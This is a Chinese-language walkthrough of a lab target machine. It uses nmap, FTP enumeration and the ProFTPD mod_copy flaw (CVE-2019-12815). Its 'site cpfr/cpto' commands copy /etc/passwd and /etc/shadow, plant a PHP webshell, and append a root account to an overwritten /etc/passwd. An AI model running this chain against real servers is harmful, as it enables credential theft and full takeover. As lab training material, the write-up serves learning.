端口
nmap主机发现
nmap -sn 192.168.72.0/24 Nmap scan report for 192.168.72.171 Host is up (0.00020s latency). 171是新出现的机器，他就是靶机
nmap端口扫描
nmap -Pn 192.168.72.171 -p- --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 465/tcp open smtps 587/tcp open submission 993/tcp open imaps 995/tcp open pop3s 这么多端口：995，993，465，143，587，110，25都是邮箱服务 445，139是samba服务 80，22，21是常见的端口 以下我对渗透测试优先级排名： 21，80，22尝试枚举足够多的敏感信息加渗透，然后再查看这三个端口是否有服务漏洞 445，139枚举敏感信息，查看是否有可利用的漏洞 邮件服务端口：是否有敏感信息
立足
21端口
upload页面发现信息： directory文件： drwxr-xr-x 18 patrick patrick 4096 Sep 23 19:40 . drwxr-xr-x 4 root root 4096 Jan 6 2019 .. -rw------- 1 patrick patrick 185 Jan 28 2019 .bash_history -rw-r--r-- 1 patrick patrick 220 Dec 23 2018 .bash_logout -rw-r--r-- 1 patrick patrick 3526 Dec 23 2018 .bashrc drwx------ 7 patrick patrick 4096 Jan 10 2019 .cache drwx------ 10 patrick patrick 4096 Dec 26 2018 .config drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Desktop drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Documents drwxr-xr-x 3 patrick patrick 4096 Jan 6 2019 Downloads drwx------ 3 patrick patrick 4096 Dec 26 2018 .gnupg -rwxrwxrwx 1 patrick patrick 0 Jan 9 2019 haha -rw------- 1 patrick patrick 8532 Jan 28 2019 .ICEauthority drwxr-xr-x 3 patrick patrick 4096 Dec 26 2018 .local drwx------ 5 patrick patrick 4096 Dec 28 2018 .mozilla drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Music drwxr-xr-x 2 patrick patrick 4096 Jan 8 2019 .nano -rw-r--r-- 1 patrick patrick 0 Sep 23 19:40 PebAhabiNhV7N4eiwznehDQzCpydliND.txt drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Pictures -rw-r--r-- 1 patrick patrick 675 Dec 23 2018 .profile drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Public -rw-r--r-- 1 patrick patrick 24 Sep 23 19:40 qbcN77aaMZMzCNKOTlq9jBMrIRO5DshbvdJH1emkdC3ZFTAE7GPCBhZSnljTXHor.txt d--------- 2 root root 4096 Jan 9 2019 script drwx------ 2 patrick patrick 4096 Dec 26 2018 .ssh -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Templates -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt -rw-r--r-- 1 patrick patrick 407 Jan 27 2019 version_control drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Videos 这是/home/patrick下的所有文件，其中确实有很多敏感内容 还有很多以project开头的文件，查看他们所有内容： cat project* This is a brave project! colour airline skilled footballer! Perhaps the head of development is secretly a sicko... either a dog name, or the name of a lottery in singapore ONE! wine app you only live once! dog cat ant bird fish hare snake mouse eagle rabbit jaguar python penguin peacock phoenix kangaroo parakeet mosquito mousedeer woodlouse cockroach kingfisher rhinoceros pondskater 一些名词，一般有三种推测：1.密码 2.用户名 3.没用 看后续场景是否能用到
80端口
是个开源的入侵检测系统，searchsploit 没发现0.8版本漏洞 交互的地方也比较少，看看url参数f是否有本地文件包含，最终结果当然没有，一般这种系统也不会出现这么低级错误 同时robots.txt页面什么敏感内容都没有
22端口
其报了三个错误，但都能使用参数解决 no matching key exchange method found. Their offer: diffie-hellman-group1-sha1 no matching host key type found. Their offer: ssh-rsa,ssh-dss no matching cipher found. Their offer: aes128-cbc,blowfish-cbc,twofish-cbc,3des-cbc ssh 192.168.72.171 -oKexAlgorithms=diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -c aes128-cbc 但是又出现一个错误，明显是作者故意而为之： Connection reset by 192.168.72.171 port 22 22端口连接不了
21端口服务漏洞
按照我们的思路接下来查看21，80，22是否有服务漏洞 21端口ProFTPD 是1.2.10版本，我们着重挑选1.2.10的版本后的漏洞，我注意到了 1.3.5版本有个file copy的漏洞：看了poc得知，这了漏洞是未授权的敏感文件读写，那么影响力一定很大 果不其然我查到了这篇文章：https://gbhackers.com/proftpd-file-copy-vulnerability/ 文章标题：ProFTPD 的文件复制漏洞使超过 100 万台服务器面临风险 引用文章里的某些话： ProFTPD 服务器中的文件复制漏洞允许匿名远程攻击者在易受攻击的机器上执行代码，从而导致无需身份验证的远程代码执行和信息泄露。 利用此漏洞，攻击者可以运行具有 Pro-FTPd 服务权限的任何程序代码。此漏洞的编号为CVE-2019-12815，影响 1.3.5b 及以下所有版本。 那我们就能尝试一下此漏洞
nc 192.168.72.171 21 220 The Good Tech Inc. FTP Server site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto /home/ftp/passwd 250 Copy successful site cpfr /etc/shadow 350 File or directory exists, ready for destination name site cpto /home/ftp/shadow 250 Copy successful 敏感文件先copy过来，但是ssh关闭的，我们只能尝试上传一个shell 为了上传webshell，我们直接把/var/www拷贝过来，目的是能够上传到正确的目录 220 The Good Tech Inc. FTP Server site cpfr /var/www 350 File or directory exists, ready for destination name site cpto /home/ftp/www 250 Copy successful 发现web主目录如下： /var/www/tryingharderisjoy/ossec 我们直接上传php的webshell 先将shell传给ftp put shell.php 然后拷贝shell.php到web目录 220 The Good Tech Inc. FTP Server site cpfr /home/ftp/shell.php 350 File or directory exists, ready for destination name site cpto /var/www/tryingharderisjoy/shell.php 250 Copy successful 点击即可getshell
提权
生成密码
openssl passwd -1 -salt hack hack123 生成一个hack123 md5加密的密码hash，然后盐值为hack再加密一次 构造字符串追加到passwd echo "hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash" >> passwd
上传至ftp并覆盖/etc/passwd
put passwd nc 192.168.72.171 220 The Good Tech Inc. FTP Server site cpfr /home/ftp/upload/passwd 350 File or directory exists, ready for destination name site cpto /etc/passwd 250 Copy successful
覆盖后
su hack password:hack123 成为root root@JOY:~# id id uid=0(root) gid=0(root) groups=0(root)